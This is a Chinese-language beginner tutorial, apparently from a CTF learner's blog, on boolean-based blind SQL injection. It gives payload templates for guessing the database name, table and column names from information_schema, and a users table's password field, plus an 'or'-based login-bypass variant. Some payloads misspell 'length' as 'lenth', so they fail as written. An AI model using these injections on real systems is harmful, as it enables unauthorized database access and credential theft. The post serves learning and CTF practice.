盲注的原理
前言
盲注是sql注入的一种,主要用于没有显示位的注入,页面像一个机器人一样不报错代表yes,没有任何显示代表no,我们可以根据yes和no来判断数据库的名字,表名,列明以及字段。
首先第一步还是判断闭合符
我们输入 1'
后发现页面为空
我们在1'
后面加上--+
,发现页面恢复正常
猜库名
我们知道了闭合符号后,即可进行一些sql语句的注入猜得库名。
先通过 1' and (lenth(database())>1)--+
可以修改后面1的值来判断库名的长度。
经过一番尝试得出长度为8
通过ascii码猜解库名:
1' and (ascii(substr(database(),{
1},1))>{
97})--+(中括号不带入代码)
通过改变第一个中括号中的1的值来按顺序判断库名的英文字母
通过改变后面中括号中97的值并用二分法来判断该位置下字母的ASCII码的值,从而得到该位置的英文字母,最后得出数据库的名字。
猜数据表名
1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {
0},1),{
1},1)))>{
101} --+(中括号不带入代码)
方法与猜库名基本一致,通过修改中括号中的内容进行判断。
值得注意的是有许多数据表通过修改limit中括号里的0来判断其他表名,从而找到我们需要查找的表名。
猜列名
1' and (ascii(substr((select column_name from information_schema.columns where table_name='{
users}' limit {
0},1),{
1},1)))>{
100} --+(中括号不带入代码)
代码中的中括号又多了一个变量,那就是表名,users可以改变成我们想要查询的数据库,其他中括号里的变量用法和上面一致。
爆字段
1' and (ascii(substr(( select {password} from {users} limit {
0},1),{
1},1)))>{
1}--+
可能有新的朋友早就发现了,手注的话真的是一年一道题,也看不到这里了吧,我不是坑各位,而是我真的被各种工具坑,等我学会了各种工具的详细用法再来写吧,况且其他大佬的博客都有用法,我个菜鸡还是先慢慢摸索工具吧,还有就是脚本,等我会写了以后多给大家一些脚本福利,本文只是盲注最简单的基础,遇到大部分题要记得随机应变,先找到网页回答你的yes或no的方法,再进行语句的注入,
比如给一个登录框你通过万能密码进入后提示flag再数据库中,这很正常,我们就可以吧是否登录成功作为yes或no来进行sal盲注
如1" or (lenth(database())>1)--+
or后面直接跟盲注语句就好了,切记随机应变。